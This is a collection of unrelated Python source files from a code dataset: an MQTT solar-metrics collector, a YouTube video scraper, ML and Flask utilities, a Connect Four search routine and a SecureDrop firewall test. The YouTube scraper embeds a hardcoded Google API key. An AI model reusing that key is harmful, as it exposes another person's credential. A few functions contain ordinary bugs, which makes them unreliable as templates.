ctime\nimport time, traceback\nimport requests\nfrom requests.exceptions import ConnectionError\nimport yaml\nimport paho.mqtt.client as mqtt\n\n# disable requests warnings for self-signed certificates\n# from requests.packages.urllib3.exceptions import InsecureRequestWarning\n# requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\n###############################################################################\n# configuration\nloglevel = logging.INFO\n\n\n###############################################################################\n# functions\ndef parse_arguments():\n global loglevel\n parser = argparse.ArgumentParser(description=__description__)\n parser.add_argument('-d', '--debug', action='store_true', help='set log level to DEBUG')\n parser.add_argument('-c', '--config', type=str, default=find_default_config_path('config.yaml'), help='config file')\n # parser.add_argument('somearg', type=str, default='bla', help='this is something important')\n args = parser.parse_args()\n if args.debug:\n loglevel = logging.DEBUG\n return args\n\n\ndef find_default_config_path(config_file_name):\n samedir_config_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), config_file_name)\n return samedir_config_path\n\n\ndef read_config(config_path):\n logging.info('reading configuration file %s' % config_path)\n if not os.path.isfile(config_path):\n logging.error('config file %s does not exist' % config_path)\n sys.exit(254)\n with open(config_path, \"r\") as ymlfile:\n config = yaml.load(ymlfile, Loader=yaml.FullLoader)\n return config\n\n\ndef set_up_logging(loglevel, log_to_foreground, program_name=None):\n if log_to_foreground is True:\n logging.basicConfig(level=loglevel, format='%(asctime)s %(levelname)s:%(message)s')\n\n else:\n # logging.basicConfig(level=loglevel, format='%(asctime)s %(levelname)s:%(message)s')\n class ContextFilter(logging.Filter):\n hostname = socket.gethostname()\n username = pwd.getpwuid(os.getuid())[0]\n\n def filter(self, record):\n record.hostname = ContextFilter.hostname\n record.username = ContextFilter.username\n return True\n\n syslog_socket = \"/dev/log\"\n if 'darwin' == sys.platform:\n # Hint for macOS:\n # To configure syslog to writhe DEBUG messages to /var/log/system.log\n # - the agent must be started in daemon mode\n # - the agent must be started with debug option\n # - add the following line must be added to /etc/asl.conf:\n # ? [= Sender EdwardAgent] [<= Level debug] file system.log\n # - syslogd must be restarted\n syslog_socket = '/var/run/syslog'\n\n syslog_format_string = '[%(process)d]: [%(levelname)s][%(funcName)s] %(message)s'\n rootLogger = logging.getLogger()\n rootLogger.setLevel(loglevel)\n\n syslogFilter = ContextFilter()\n rootLogger.addFilter(syslogFilter)\n\n if program_name is None:\n program_name = os.path.basename(__file__)\n syslog = SysLogHandler(address=syslog_socket, facility=SysLogHandler.LOG_USER)\n syslogFormatter = logging.Formatter('%s %s' % (program_name, syslog_format_string), datefmt='%b %d %H:%M:%S')\n syslog.setFormatter(syslogFormatter)\n rootLogger.addHandler(syslog)\n\n\nclass Error(Exception):\n pass\n\nclass BenningSolarMetricsWorker:\n def __init__(self):\n self.mqtt_connect()\n self.every(config['repeat'], self.do_repeat)\n\n def mqtt_connect(self):\n def on_publish(client,userdata,result):\n logging.info('data published, result: {}'.format(result))\n\n self.mqtt_client = mqtt.Client()\n self.mqtt_client.on_publish = on_publish\n try:\n self.mqtt_client.connect(config['mqtt']['host'], 1883, 60)\n except Exception as error:\n logging.error('error occurred connecting to mqtt: {}'.format(error))\n pass\n self.mqtt_connected = False\n else:\n self.mqtt_connected = True\n\n # self.mqtt_client.loop_start()\n\n def every(self, delay, task):\n #next_time = time.time() + delay\n next_time = time.time()\n while True:\n time.sleep(max(0, next_time - time.time()))\n try:\n task()\n except Exception:\n #traceback.print_exc()\n logging.exception(\"Problem while executing repetitive task.\")\n # skip tasks if we are behind schedule:\n next_time += (time.time() - next_time) // delay * delay + delay\n\n def do_repeat(self):\n url = 'http://{}/getallentries.cgi?firstOid=10000&lastOid=20000'.format(config['benning']['host'])\n auth = (config['benning']['username'], config['benning']['password'])\n logging.info('fetch all values from {}'.format(url))\n try:\n res = requests.get(url, auth=auth)\n except ConnectionError as error:\n logging.error('received error during http fetch: {}'.format(error))\n pass\n else:\n if res.status_code == 200:\n res.encoding = 'UTF-8'\n # I have received data in this format\n # 11305;SystemState.Global.Measurement.ACFrequency;F;50.023193;\"AC Netz Frequenz\";1.000000;Hz;2;1;2;1;0.000000;0.000000;0;0;0\n # 11306;SystemState.Global.Measurement.ACFrequencyMin;F;50.019291;\"AC Netz Frequenz min\";1.000000;Hz;2;1;3;1;0.000000;0.000000;0;0;0\n # 11307;SystemState.Global.Measurement.ACFrequencyMax;F;50.036274;\"AC Netz Frequenz max\";1.000000;Hz;2;1;4;1;0.000000;0.000000;0;0;0\n # ....\n\n allmetrics = []\n linecnt = 0\n for line in res.text.splitlines():\n linecnt += 1\n v = line.split(';')\n\n # handling multipliers and values\n rawvalue = v[3]\n multiplier = v[5]\n if multiplier != '1.000000':\n value = float(rawvalue) * float(multiplier)\n else:\n value = float(rawvalue)\n \n # handle units containing prefixes\n unit = v[6]\n unit_zabbix = unit\n if unit == 'mA':\n value = value * 1000\n unit = 'A'\n unit_zabbix = 'A'\n\n if unit == 'kWh':\n unit_zabbix = '!kWh'\n\n if unit == 'h':\n unit = 's'\n unit_zabbix = 's'\n value = value * 3600\n\n if v[1] == 'SystemState_persistent.Global.LastSystemBackupTimestamp':\n unit_zabbix = 'unixtime'\n\n if v[1] == 'SystemState_persistent.SolarPortal.LastSendProtocolTimestamp':\n unit_zabbix = 'unixtime'\n\n metric = {'id':v[0], 'descriptor':v[1], 'type':v[2], 'value':value, 'description':v[4].strip('\"'), 'unit': unit, 'unit_zabbix': unit_zabbix}\n allmetrics.append(metric)\n\n logging.info('processed {} values'.format(linecnt))\n\n # now publish this whole thing as a json structure to MQTT\n if self.mqtt_connected:\n self.mqtt_client.publish(config['mqtt']['topic'], json.dumps(allmetrics))\n else:\n logging.warning('mqtt is not connected, trying reconnect in order to be able to publish next time')\n self.mqtt_connect()\n \n else:\n raise Error('error fetching data: {}'.format(res.text))\n\ndef main():\n BenningSolarMetricsWorker()\n\nif __name__ == '__main__':\n args = parse_arguments()\n log_to_foreground = True\n if sys.stdin.isatty():\n log_to_foreground = True\n if int(loglevel) >= int(logging.INFO):\n loglevel = logging.INFO\n set_up_logging(loglevel, log_to_foreground)\n logging.info('starting benningsolarvalues version {}'.format(__version__))\n config = read_config(args.config)\n sys.exit(main())","repo_name":"fibbs/benningsolarvalues","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":9100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"21505256885","text":"from sqlalchemy import Integer, Column, ForeignKey, String\nfrom sqlalchemy.orm import relationship\n\nfrom database import Base\n\n\nclass Film(Base):\n __tablename__ = \"films\"\n\n id = Column(Integer, primary_key=True, index=True)\n name = Column(String, unique=True)\n year = Column(Integer)\n description = Column(String)\n\n comments = relationship(\"Comment\")\n\n class Config:\n orm_mode = True\n\n\nclass Comment(Base):\n __tablename__ = \"comments\"\n id = Column(Integer, primary_key=True, index=True)\n username = Column(String, unique=True)\n comment = Column(String)\n film_id = Column(Integer, ForeignKey(\"films.id\"))\n","repo_name":"Wanderer76/PraktikaProject","sub_path":"film_projet/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26305228324","text":"# Import modules\r\nimport googleapiclient.discovery\r\nimport csv\r\n\r\n# Create YouTube object\r\nyoutube = googleapiclient.discovery.build(\"youtube\", \"v3\", developerKey = \"AIzaSyCeBsrT0G7CvjwEdicQPngLQtgpwyyKOSk\")\r\n\r\n# Define channel IDs list\r\n\r\nchannel_ids = ['UCJ6KZTTnkE-s2XFJJmoTAkw' , 'UCpqCsO-fb2_OzVxm7J9MslA' ]\r\n\r\n# Create an empty list to store video data\r\nvideo_data = []\r\n\r\n# Iterate over channel IDs\r\nfor channel_id in channel_ids:\r\n # Make a request to the YouTube API to get the latest 50 videos of the channel\r\n request = youtube.search().list(\r\n part = \"snippet\",\r\n type = \"video\",\r\n order = \"date\",\r\n channelId = channel_id,\r\n maxResults = 50\r\n )\r\n response = request.execute()\r\n\r\n # Iterate over the items in the response\r\n for item in response[\"items\"]:\r\n # Get video ID\r\n video_id = item[\"id\"][\"videoId\"]\r\n \r\n # Make another request to the YouTube API to get more details about the video\r\n request2 = youtube.videos().list(\r\n part = \"snippet,contentDetails,statistics\",\r\n id = video_id\r\n )\r\n response2 = request2.execute()\r\n \r\n # Get video details from the response\r\n title = response2[\"items\"][0][\"snippet\"][\"title\"]\r\n channel_title = response2[\"items\"][0][\"snippet\"][\"channelTitle\"]\r\n views = response2[\"items\"][0][\"statistics\"][\"viewCount\"]\r\n upload_time = response2[\"items\"][0][\"snippet\"][\"publishedAt\"]\r\n comments = response2[\"items\"][0][\"statistics\"][\"commentCount\"]\r\n duration = response2[\"items\"][0][\"statistics\"][\"commentCount\"]\r\n \r\n \r\n # Create a dictionary with video data and append it to the list\r\n video_dict = {\r\n \"Video Name\": title,\r\n \"Video ID\": video_id,\r\n \"Channel Name\": channel_title,\r\n \"Views\": views,\r\n \"Upload Time\": upload_time,\r\n \"Comments\": comments,\r\n \"Duration\": duration,\r\n \r\n }\r\n \r\n video_data.append(video_dict)\r\n\r\n\r\n# Open CSV file for writing\r\nwith open(\"data.csv\", \"w\") as f:\r\n # Create CSV writer object with field names as header row\r\n field_names = [\"Video Name\", \"Video ID\", \"Channel Name\", \"Views\", \"Upload Time\" , \"Comments\", \"Duration\"]\r\n writer = csv.DictWriter(f, fieldnames=field_names)\r\n \r\n # Write header row \r\n writer.writeheader()\r\n \r\n # Write data rows \r\n writer.writerows(video_data)\r\n\r\nprint","repo_name":"PausMaus/Data-Science","sub_path":"Canal completo para CSV.py","file_name":"Canal completo para CSV.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20653005619","text":"import os\nimport sys\nimport torch\nimport logging\nimport numpy as np\nfrom tqdm import tqdm\n\n\nclass Tester:\n\n def __init__(self,\n model,\n criterion,\n config,\n device,\n data_loader,\n epoch_criterion=None):\n self.config = config\n self.device = device\n self.model = model.to(device)\n self.criterion = criterion\n self.epoch_criterion = epoch_criterion\n self.epoch_loss_name = '%s_correlation' % config.epoch_criterion if epoch_criterion is not None else ''\n\n self.data_loader = data_loader\n self.len_epoch = len(self.data_loader)\n self.checkpoint = config.ckpt\n\n # setup visualization writer instance\n self.logger = logging.getLogger('Tester')\n self._resume_checkpoint(self.checkpoint)\n\n def test(self):\n result = self._test_epoch()\n # save logged informations into log dict\n log = dict()\n log.update(result)\n # print logged informations to the screen\n for key, value in log.items():\n self.logger.info('{:15s}: {}'.format(str(key), value))\n\n def _test_epoch(self):\n self.model.eval()\n log = dict()\n if self.epoch_criterion is not None:\n labels_pred, labels_gold = torch.zeros(0, 0).to(\n self.device), torch.zeros(0, 0).to(self.device)\n with torch.no_grad():\n for batch_idx, batch in enumerate(tqdm(self.data_loader)):\n data, target = batch.to(self.device)\n output = self.model(data)\n pred = self._out2pred(output)\n loss = self.criterion(pred, target)\n labels_pred, labels_gold = self._update_label(pred, target, labels_pred, labels_gold)\n #self.logger.info('%s\\t%s' %(labels_pred.shape, labels_gold.shape))\n log.update({str(batch_idx): loss.item()})\n\n if self.epoch_criterion is not None:\n epoch_loss = self.epoch_criterion(labels_pred, labels_gold)\n log.update({self.epoch_loss_name: epoch_loss})\n return log\n\n def _out2pred(self, output):\n return output\n\n def _update_label(self, y_pred, y_gold):\n if self.epoch_criterion is not None:\n raise NotImplementedError\n\n def _progress(self, batch_idx):\n base = '[{}/{} ({:.0f}%)]'\n if hasattr(self.data_loader, 'n_samples'):\n current = batch_idx * self.data_loader.batch_size\n total = self.data_loader.n_samples\n else:\n current = batch_idx\n total = self.len_epoch\n return base.format(current, total, 100.0 * current / total)\n\n def _resume_checkpoint(self, resume_path):\n resume_path = str(resume_path)\n if not os.path.exists(resume_path):\n self.logger.error(\"Bad checkpoint path: {}\".format(resume_path))\n sys.exit(1)\n self.logger.info(\"Loading checkpoint: {} ...\".format(resume_path))\n checkpoint = torch.load(resume_path,\n map_location=torch.device(self.device))\n # we should make resume process robust to use various kinds of ckpt\n if 'state_dict' in checkpoint:\n try:\n self.model.load_state_dict(checkpoint['state_dict'],\n strict=False)\n except Exception as e:\n self.logger.error('Bad checkpoint format.', stack_info=True)\n raise ValueError\n else:\n # which means that we load the ckpt not to resume training, thus the params may not match perfectly.\n self.model.load_state_dict(checkpoint, strict=True)\n\n self.logger.info(\"Checkpoint loaded.\")\n","repo_name":"Leadlegend/pytorch-template","sub_path":"tester/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3796,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"70843596890","text":"# import libraries\nimport sys\nimport urllib.request\nfrom urllib.parse import urljoin\nfrom bs4 import BeautifulSoup\n\nindexFirst = \"first\"\nindexAll = \"all\"\nindexCustom = \"custom\"\n\n# specify the url\nurl = sys.argv[1]\ntag = sys.argv[2]\nselector = sys.argv[3]\nname = sys.argv[4]\nindex = sys.argv[5]\n\n# query the website and return the html to the variable ‘page’\npage = urllib.request.urlopen(url)\n\n# parse the html using beautiful soup and store in variable `soup`\nsoup = BeautifulSoup(page, 'html.parser')\n\nif index == indexFirst:\n results = soup.findAll(tag, {selector: name})\n links = results[0].findAll('a')\n print(links[0]['href'])\nelif index == indexAll:\n results = soup.findAll(tag, {selector: name})\n for tag in results:\n links = tag.findAll('a')\n for a in links:\n print(a['href'])\nelif index == indexCustom:\n results = soup.findAll(tag, {selector: name})\n indexFrom = int(sys.argv[6])\n indexTo = int(sys.argv[7])\n for x in range(indexFrom, indexTo):\n links = results[x].findAll('a')\n print(links[0]['href'])\nelse:\n results = \"error\"\n","repo_name":"ZacharyMcGee/scrapey.io","sub_path":"python/getLink.py","file_name":"getLink.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35051392103","text":"r\"\"\"\n================================\nCompute the explainable variance\n================================\n\nBefore fitting any voxelwise model to fMRI responses, it is good practice to\nquantify the amount of signal in the test set that can be predicted by an\nencoding model. This quantity is called the *explainable variance*.\n\nThe measured signal can be decomposed into a sum of two components: the\nstimulus-dependent signal and noise. If we present the same stimulus multiple\ntimes and we record brain activity for each repetition, the stimulus-dependent\nsignal will be the same across repetitions while the noise will vary across\nrepetitions. In voxelwise modeling, the features used to model brain activity\nare the same for each repetition of the stimulus. Thus, encoding models will\npredict only the repeatable stimulus-dependent signal.\n\nThe stimulus-dependent signal can be estimated by taking the mean of brain\nresponses over repeats of the same stimulus or experiment. The variance of the\nestimated stimulus-dependent signal, which we call the explainable variance, is\nproportional to the maximum prediction accuracy that can be obtained by a\nvoxelwise encoding model in the test set.\n\nMathematically, let :math:`y_i, i = 1 \\dots N` be the measured signal in a\nvoxel for each of the :math:`N` repetitions of the same stimulus and\n:math:`\\bar{y} = \\frac{1}{N}\\sum_{i=1}^Ny_i` the average brain response\nacross repetitions. For each repeat, we define the residual timeseries between\nbrain response and average brain response as :math:`r_i = y_i - \\bar{y}`. The\nexplainable variance (EV) is estimated as\n\n.. math::\n \\text{EV} = \\frac{1}{N}\\sum_{i=1}^N\\text{Var}(y_i) - \\frac{N}{N-1}\\sum_{i=1}^N\\text{Var}(r_i)\n\n\nIn the literature, the explainable variance is also known as the *signal\npower*. For more information, see these references [1]_ [2]_ [3]_.\n\"\"\"\n# sphinx_gallery_thumbnail_number = 1\n###############################################################################\n# Path of the data directory\n# --------------------------\nfrom voxelwise_tutorials.io import get_data_home\n\ndirectory = get_data_home(dataset=\"shortclips\")\nprint(directory)\n\n###############################################################################\n\n# modify to use another subject\nsubject = \"S01\"\n\n###############################################################################\n# Compute the explainable variance\n# --------------------------------\nimport numpy as np\nfrom voxelwise_tutorials.io import load_hdf5_array\n\n###############################################################################\n# First, we load the fMRI responses on the test set, which contains brain\n# responses to ten (10) repeats of the same stimulus.\nimport os\n\nfile_name = os.path.join(directory, 'responses', f'{subject}_responses.hdf')\nY_test = load_hdf5_array(file_name, key=\"Y_test\")\nprint(\"(n_repeats, n_samples_test, n_voxels) =\", Y_test.shape)\n\n###############################################################################\n# Then, we compute the explainable variance for each voxel.\n\nfrom voxelwise_tutorials.utils import explainable_variance\n\nev = explainable_variance(Y_test)\nprint(\"(n_voxels,) =\", ev.shape)\n\n###############################################################################\n# To better understand the concept of explainable variance, we can plot the\n# measured signal in a voxel with high explainable variance...\n\nimport matplotlib.pyplot as plt\n\nvoxel_1 = np.argmax(ev)\ntime = np.arange(Y_test.shape[1]) * 2 # one time point every 2 seconds\nplt.figure(figsize=(10, 3))\nplt.plot(time, Y_test[:, :, voxel_1].T, color='C0', alpha=0.5)\nplt.plot(time, Y_test[:, :, voxel_1].mean(0), color='C1', label='average')\nplt.xlabel(\"Time (sec)\")\nplt.title(\"Voxel with large explainable variance (%.2f)\" % ev[voxel_1])\nplt.yticks([])\nplt.legend()\nplt.tight_layout()\nplt.show()\n\n###############################################################################\n# ... and in a voxel with low explainable variance.\nvoxel_2 = np.argmin(ev)\nplt.figure(figsize=(10, 3))\nplt.plot(time, Y_test[:, :, voxel_2].T, color='C0', alpha=0.5)\nplt.plot(time, Y_test[:, :, voxel_2].mean(0), color='C1', label='average')\nplt.xlabel(\"Time (sec)\")\nplt.title(\"Voxel with low explainable variance (%.2f)\" % ev[voxel_2])\nplt.yticks([])\nplt.legend()\nplt.tight_layout()\nplt.show()\n\n###############################################################################\n# We can also plot the distribution of explainable variance over voxels.\n\nplt.hist(ev, bins=np.linspace(0, 1, 100), log=True, histtype='step')\nplt.xlabel(\"Explainable variance\")\nplt.ylabel(\"Number of voxels\")\nplt.title('Histogram of explainable variance')\nplt.grid('on')\nplt.show()\n\n###############################################################################\n# We see that many voxels have low explainable variance. This is\n# expected, since many voxels are not driven by a visual stimulus, and their\n# response changes over repeats of the same stimulus.\n# We also see that some voxels have high explainable variance (around 0.7). The\n# responses in these voxels are highly consistent across repetitions of the\n# same stimulus. Thus, they are good targets for encoding models.\n\n###############################################################################\n# Map to subject flatmap\n# ----------------------\n#\n# To better understand the distribution of explainable variance, we map the\n# values to the subject brain. This can be done with `pycortex\n# `_, which can create interactive 3D\n# viewers to be displayed in any modern browser. ``pycortex`` can also display\n# flattened maps of the cortical surface to visualize the entire cortical\n# surface at once.\n#\n# Here, we do not share the anatomical information of the subjects for privacy\n# concerns. Instead, we provide two mappers:\n#\n# - to map the voxels to a (subject-specific) flatmap\n# - to map the voxels to the Freesurfer average cortical surface (\"fsaverage\")\n#\n# The first mapper is 2D matrix of shape (n_pixels, n_voxels) that maps each\n# voxel to a set of pixel in a flatmap. The matrix is efficiently stored in a\n# ``scipy`` sparse CSR matrix. The function ``plot_flatmap_from_mapper``\n# provides an example of how to use the mapper and visualize the flatmap.\n\nfrom voxelwise_tutorials.viz import plot_flatmap_from_mapper\n\nmapper_file = os.path.join(directory, 'mappers', f'{subject}_mappers.hdf')\nplot_flatmap_from_mapper(ev, mapper_file, vmin=0, vmax=0.7)\nplt.show()\n\n###############################################################################\n# This figure is a flattened map of the cortical surface. A number of regions\n# of interest (ROIs) have been labeled to ease interpretation. If you have\n# never seen such a flatmap, we recommend taking a look at a `pycortex brain\n# viewer `_, which displays\n# the brain in 3D. In this viewer, press \"I\" to inflate the brain, \"F\" to\n# flatten the surface, and \"R\" to reset the view (or use the ``surface/unfold``\n# cursor on the right menu). Press \"H\" for a list of all keyboard shortcuts.\n# This viewer should help you understand the correspondance between the flatten\n# and the folded cortical surface of the brain.\n\n###############################################################################\n# On this flatmap, we can see that the explainable variance is mainly located\n# in the visual cortex, in early visual regions like V1, V2, V3, or in\n# higher-level regions like EBA, FFA or IPS. This is expected since this\n# dataset contains responses to a visual stimulus.\n\n###############################################################################\n# Map to \"fsaverage\"\n# ------------------\n#\n# The second mapper we provide maps the voxel data to a Freesurfer\n# average surface (\"fsaverage\"), that can be used in ``pycortex``.\n#\n# First, let's download the \"fsaverage\" surface.\n\nimport cortex\n\nsurface = \"fsaverage\"\n\nif not hasattr(cortex.db, surface):\n cortex.utils.download_subject(subject_id=surface,\n pycortex_store=cortex.db.filestore)\n cortex.db.reload_subjects() # force filestore reload\n assert hasattr(cortex.db, surface)\n\n###############################################################################\n# Then, we load the \"fsaverage\" mapper. The mapper is a matrix of shape\n# (n_vertices, n_voxels), which maps each voxel to some vertices in the\n# fsaverage surface. It is stored as a sparse CSR matrix. The mapper is applied\n# with a dot product ``@`` (equivalent to ``np.dot``).\n\nfrom voxelwise_tutorials.io import load_hdf5_sparse_array\n\nvoxel_to_fsaverage = load_hdf5_sparse_array(mapper_file,\n key='voxel_to_fsaverage')\nev_projected = voxel_to_fsaverage @ ev\nprint(\"(n_vertices,) =\", ev_projected.shape)\n\n###############################################################################\n# We can then create a ``Vertex`` object in ``pycortex``, containing the\n# projected data. This object can be used either in a ``pycortex`` interactive\n# 3D viewer, or in a ``matplotlib`` figure showing only the flatmap.\n\nvertex = cortex.Vertex(ev_projected, surface, vmin=0, vmax=0.7, cmap='viridis')\n\n###############################################################################\n# To start an interactive 3D viewer in the browser, we can use the ``webshow``\n# function in pycortex. (Note that this method works only if you are running the\n# notebooks locally.) You can start an interactive 3D viewer by changing\n# ``run_webshow`` to ``True`` and running the following cell.\n\nrun_webshow = False\nif run_webshow:\n cortex.webshow(vertex, open_browser=False, port=8050)\n\n###############################################################################\n# Alternatively, to plot a flatmap in a ``matplotlib`` figure, use the\n# `quickshow` function.\n#\n# (This function requires Inkscape to be installed. The rest of the tutorial\n# does not use this function, so feel free to ignore.)\n\nfrom cortex.testing_utils import has_installed\n\nfig = cortex.quickshow(vertex, colorbar_location='right',\n with_rois=has_installed(\"inkscape\"))\nplt.show()\n\n###############################################################################\n# References\n# ----------\n#\n# .. [1] Sahani, M., & Linden, J. F. (2003). How linear are auditory cortical\n# responses?. Advances in neural information processing systems, 125-132.\n#\n# .. [2] Hsu, A., Borst, A., & Theunissen, F. E. (2004). Quantifying\n# variability in neural responses and its application for the validation of\n# model predictions. Network: Computation in Neural Systems, 15(2), 91-109.\n#\n# .. [3] Schoppe, O., Harper, N. S., Willmore, B. D., King, A. J., & Schnupp,\n# J. W. (2016). Measuring the performance of neural models. Frontiers in\n# computational neuroscience, 10, 10.\n#\n","repo_name":"gallantlab/voxelwise_tutorials","sub_path":"tutorials/shortclips/01_plot_explainable_variance.py","file_name":"01_plot_explainable_variance.py","file_ext":"py","file_size_in_byte":10868,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"32"} +{"seq_id":"23317499037","text":"from urllib.request import urlopen\nimport os\nimport hashlib\n\n\nclass ImageStore:\n\n\n def __init__(self, savedir='images', logger=None):\n if not os.path.exists(savedir):\n os.makedirs(savedir)\n self.logger = logger\n logger.info(\"Images to be saved to '{}'\".format(savedir))\n self.SDIR = savedir\n \n def save(self,url):\n \"\"\" Take a URL, generate a unique filename, save \n the image to said file and return the filename.\"\"\"\n ext = url.split('.')[-1]\n filename = self.SDIR+os.sep+hashlib.md5(url.encode('utf-8')).hexdigest()+'.'+ext\n if os.path.exists(filename):\n self.logger.debug('`{}` already exists'.format(filename))\n return filename\n try:\n self.logger.debug(\"Logging '{}' to file.\".format(url))\n content = urlopen(url).read()\n f = open(filename,'wb') \n f.write(content)\n f.close()\n except:\n return None\n return filename \n","repo_name":"Betawolf/social-vuln-scanner","sub_path":"common/imagestore.py","file_name":"imagestore.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"32"} +{"seq_id":"8192142827","text":"from colorama import init\nfrom termcolor import colored\n\n\ndef printWithCol(text, color=None, back=None, nonline=False):\n init()\n try:\n print(colored(text, color, back), end=\"\" if nonline else \"\\n\")\n except:\n print(colored(\"Non supported song\", \"red\", back), end=\"\" if nonline else \"\\n\")\n","repo_name":"aymannc/Spotify-downloader","sub_path":"color.py","file_name":"color.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"70748918811","text":"from flask import Flask, render_template, jsonify, request\nfrom database import load_tours_from_db, load_tour_from_db, add_booking_to_db\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef Home():\n tours = load_tours_from_db()\n print(tours)\n return render_template('home.html', \n tours=tours)\n# sdf test\n@app.route(\"/tour/\")\ndef show_tour(id):\n tour = load_tour_from_db(id)\n print(tour)\n if not tour:\n return \"Not Found\", 404\n \n return render_template('tour_page.html', \n tour=tour)\n\n@app.route(\"/tour//book\", methods=['post'])\ndef book_tour(id):\n data = request.form\n tour = load_tour_from_db(id)\n add_booking_to_db(id, data)\n return render_template('application_submitted.html', \n application=data,\n tour=tour)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port='8080')","repo_name":"vaibhavCodian/Qtravels","sub_path":"src/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12962674998","text":"import numpy as np\r\nfrom numpy import random\r\nimport re\r\nimport copy\r\n\r\n# hyper-parameters\r\nexploration_factor = 1\r\n\r\npositions = {0: 0, 1: 1, 2: 2, 3: 3,\r\n 10: 4, 11: 5, 12: 6, 13: 7,\r\n 20: 8, 21: 9, 22: 10, 23: 11,\r\n 30: 12, 31: 13, 32: 14, 33: 15,\r\n }\r\n\r\n\r\nclass MCTS:\r\n\r\n def __init__(self):\r\n # start dictionary for MCTS exploration\r\n # {'state': [Q], [N]}\r\n # keys: strings corresponding to the board\r\n # values: [Q values for the state, number of visits]\r\n self.visited = {}\r\n\r\n def search(self, game_state): # (self, game, nnet):\r\n # we return -1 here because it's the turn following the win\r\n new_game = copy.deepcopy(game_state)\r\n\r\n if new_game.check_connect4(show=False):\r\n return -1\r\n\r\n new_game.board = new_game.board.reshape(1, 64)\r\n state = np.array2string(new_game.board)\r\n #print(state)\r\n\r\n if state not in self.visited:\r\n self.visited.update({state: [np.zeros(16), np.zeros(16)]})\r\n # replace by nn.prediction !!\r\n # P[s], v = nnet.prediction(state)\r\n prediction, v = np.random.rand(16) * 2 - 1, \\\r\n np.random.randint(0, 2, 1)[0] * 2 - 1\r\n return -v\r\n\r\n # replace by nn prediction !!\r\n prediction, v = np.random.rand(16) * 2 - 1, \\\r\n np.random.randint(0, 2, 1)[0] * 2 - 1\r\n\r\n max_u, best_a = -float(\"inf\"), -1\r\n N = np.sum(self.visited.get(state)[1])\r\n for a in new_game.free_positions:\r\n # u = Q[s][a] + c_puct * P[s][a] * sqrt(sum(N[s])) / (1 + N[s][a])\r\n Q = self.visited.get(state)[0][positions.get(a)]\r\n P = prediction[positions.get(a)]\r\n N_a = self.visited.get(state)[1][positions.get(a)]\r\n u = (Q + exploration_factor * P * np.sqrt(N)) / (N_a + 1)\r\n if u > max_u:\r\n max_u = u\r\n best_a = a\r\n a = best_a\r\n print(a)\r\n new_game.add_tokens(a)\r\n v = self.search(new_game) # game, nnet\r\n\r\n Q = self.visited.get(state)[0][positions.get(a)]\r\n N_a = self.visited.get(state)[1][positions.get(a)]\r\n self.visited.get(state)[0][positions.get(a)] = (N_a * Q + v) / (N_a + 1)\r\n self.visited.get(state)[1][a] += 1\r\n return -v\r\n\r\n\r\n# auxiliary function to retrieve array from string key in dictionary\r\ndef string2array(string):\r\n string = re.sub(r'\\W+', '', string)\r\n array = np.array(list(string)).astype(int)\r\n return array\r\n\r\n\r\ndef print_1():\r\n print(2)\r\n","repo_name":"GeoffreySaunois/3D-Connect_Four","sub_path":"MCTS.py","file_name":"MCTS.py","file_ext":"py","file_size_in_byte":2628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"34513951448","text":"import os\nimport difflib\nimport pytest\nfrom jinja2 import Template\n\n\nsecuredrop_test_vars = pytest.securedrop_test_vars\n\n\ndef determine_app_ip(SystemInfo, Command):\n \"\"\"\n Dumb logic to determine environment and lookup relevant app IP address\n \"\"\"\n app_hostname = \"app-prod\"\n hostname = SystemInfo.hostname\n if \"staging\" in hostname:\n app_hostname = \"app-staging\"\n app_ip = Command.check_output(\"getent hosts \"+app_hostname+\" | awk '{ print $1 }'\")\n return app_ip\n\n\ndef test_mon_iptables_rules(SystemInfo, Command, Sudo, Ansible):\n app_ip = determine_app_ip(SystemInfo, Command)\n\n # Build a dict of variables to pass to jinja for iptables comparison\n kwargs = dict(\n app_ip=app_ip,\n default_interface = Ansible(\"setup\")[\"ansible_facts\"][\"ansible_default_ipv4\"][\"interface\"],\n tor_user_id = Command.check_output(\"id -u debian-tor\"),\n ssh_group_gid = Command.check_output(\"getent group ssh | cut -d: -f3\"),\n postfix_user_id = Command.check_output(\"id -u postfix\"),\n dns_server = securedrop_test_vars.dns_server)\n\n # Build iptables scrape cmd, purge comments + counters\n iptables = \"iptables-save | sed 's/ \\[[0-9]*\\:[0-9]*\\]//g' | egrep -v '^#'\"\n iptables_file = \"{}/iptables-{}.j2\".format(\n os.path.dirname(os.path.abspath(__file__)),\n SystemInfo.hostname)\n\n # template out a local iptables jinja file\n jinja_iptables = Template(open(iptables_file,'r').read())\n iptables_expected = jinja_iptables.render(**kwargs)\n\n with Sudo():\n # Actually run the iptables scrape command\n iptables = Command.check_output(iptables)\n # print diff comparison (only shows up in pytests if test fails or\n # verbosity turned way up)\n for iptablesdiff in difflib.context_diff(iptables_expected.split('\\n'),\n iptables.split('\\n')):\n print(iptablesdiff)\n # Conduct the string comparison of the expected and actual iptables\n # ruleset\n assert iptables_expected == 